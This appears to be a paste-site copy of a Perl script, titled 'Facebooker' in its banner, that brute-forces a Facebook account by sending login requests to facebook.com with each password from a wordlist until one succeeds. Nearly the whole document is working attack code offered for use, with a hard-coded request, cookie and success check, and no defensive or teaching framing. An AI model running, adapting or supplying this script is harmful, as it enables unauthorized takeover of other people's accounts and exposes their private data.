SHOW:
|
|
- or go back to the newest paste.
1 | #!/usr/bin/perl | |
2 | # | |
3 | ||
4 | use strict; | |
5 | use Net::SSLeay::Handle; | |
6 | ||
7 | if(!defined($ARGV[0] && $ARGV[1])) { | |
8 | ||
9 | system('clear'); | |
10 | print " Version 2.32 \n"; | |
11 | print "\033[1;32md88888b .d8b. .o88b. d88888b d8888b. .d88b. db dD d88888b d8888b. \n"; | |
12 | print "88' d8' `8b d8P Y8 88' 88 `8D .8P Y8. 88 ,8P' 88' 88 `8D \n"; | |
13 | print "88ooo 88ooo88 8P 88ooooo 88oooY' 88 88 88,8P 88ooooo 88oobY' \n"; | |
14 | print "88~~~ 88~~~88 8b 88~~~~~ 88~~~b. 88 88 88`8b 88~~~~~ 88`8b \n"; | |
15 | print "88 88 88 Y8b d8 88. 88 8D `8b d8' 88 `88. 88. 88 `88. \n"; | |
16 | print "YP YP YP `Y88P' Y88888P Y8888P' `Y88P' YP YD Y88888P 88 YD \n"; | |
17 | ||
18 | print "\033[1;31m ======================================================\n"; | |
19 | print "\033[1;37m Usage: perl $0 mail wordlist.txt\n\n\n\n\n\n\n\n\n"; | |
20 | print "\n"; | |
21 | print "\n"; | |
22 | print "\n"; | |
23 | print "\n"; | |
24 | print "\n"; | |
25 | print "\n"; | |
26 | exit; } | |
27 | ||
28 | my $user = $ARGV[0]; | |
29 | my $wordlist = $ARGV[1]; | |
30 | ||
31 | open (LIST, $wordlist) || die "\n[-] Can't find/open $wordlist\n"; | |
32 | ||
33 | ||
34 | print " Version 2.32 \n"; | |
35 | print "\033[1;32md88888b .d8b. .o88b. d88888b d8888b. .d88b. db dD d88888b d8888b. \n"; | |
36 | print "88' d8' `8b d8P Y8 88' 88 `8D .8P Y8. 88 ,8P' 88' 88 `8D \n"; | |
37 | print "88ooo 88ooo88 8P 88ooooo 88oooY' 88 88 88,8P 88ooooo 88oobY' \n"; | |
38 | print "88~~~ 88~~~88 8b 88~~~~~ 88~~~b. 88 88 88`8b 88~~~~~ 88`8b \n"; | |
39 | print "88 88 88 Y8b d8 88. 88 8D `8b d8' 88 `88. 88. 88 `88. \n"; | |
40 | print "YP YP YP `Y88P' Y88888P Y8888P' `Y88P' YP YD Y88888P 88 YD \n"; | |
41 | ||
42 | print "\033[1;31m ======================================================\n"; | |
43 | print "\033[1;33m 4\n"; | |
44 | print "\033[1;31m -------------------------------------------------------\n"; | |
45 | ||
46 | print "\033[1;39m\n [+] Cracking Started on: $user ...\n\n"; | |
47 | print "=======================================\n"; | |
48 | ||
49 | while (my $password = <LIST>) { | |
50 | chomp ($password); | |
51 | $password =~ s/([^^A-Za-z0-9\-_.!~*'()])/ sprintf "%%%0x", ord $1 /eg; | |
52 | ||
53 | my $a = "POST /login.php HTTP/1.1"; | |
54 | my $b = "Host: www.facebook.com"; | |
55 | my $c = "Connection: close"; | |
56 | my $e = "Cache-Control: max-age=0"; | |
57 | my $f = "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"; | |
58 | my $g = "Origin: https://www.facebook.com"; | |
59 | my $h = "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.63 Safari/537.31"; | |
60 | my $i = "Content-Type: application/x-www-form-urlencoded"; | |
61 | my $j = "Accept-Encoding: gzip,deflate,sdch"; | |
62 | my $k = "Accept-Language: en-US,en;q=0.8"; | |
63 | my $l = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3"; | |
64 | ||
65 | my $cookie = "cookie: datr=80ZzUfKqDOjwL8pauwqMjHTa"; | |
66 | my $post = "lsd=AVpD2t1f&display=&enable_profile_selector=&legacy_return=1&next=&profile_selector_ids=&trynum=1&timezone=300&lgnrnd=031110_Euoh&lgnjs=1366193470&email=$user&pass=$password&default_persistent=0&login=Log+In"; | |
67 | my $cl = length($post); | |
68 | my $d = "Content-Length: $cl"; | |
69 | ||
70 | ||
71 | my ($host, $port) = ("www.facebook.com", 443); | |
72 | ||
73 | tie(*SSL, "Net::SSLeay::Handle", $host, $port); | |
74 | ||
75 | ||
76 | print SSL "$a\n"; | |
77 | print SSL "$b\n"; | |
78 | print SSL "$c\n"; | |
79 | print SSL "$d\n"; | |
80 | print SSL "$e\n"; | |
81 | print SSL "$f\n"; | |
82 | print SSL "$g\n"; | |
83 | print SSL "$h\n"; | |
84 | print SSL "$i\n"; | |
85 | print SSL "$j\n"; | |
86 | print SSL "$k\n"; | |
87 | print SSL "$l\n"; | |
88 | print SSL "$cookie\n\n"; | |
89 | ||
90 | print SSL "$post\n"; | |
91 | ||
92 | my $success; | |
93 | while(my $result = <SSL>){ | |
94 | if($result =~ /Location(.*?)/){ | |
95 | $success = $1; | |
96 | } | |
97 | } | |
98 | if (!defined $success) | |
99 | { | |
100 | print "\033[1;31m[-] $password -> Failed \n"; | |
101 | close SSL; | |
102 | } | |
103 | else | |
104 | { | |
105 | print "\033[1;32m\n########################################################\n"; | |
106 | print "[+] \033[1;32mPassword Cracked: $password\n"; | |
107 | print "\033[1;32m########################################################\n\n"; | |
108 | close SSL; | |
109 | exit; | |
110 | } | |
111 | } |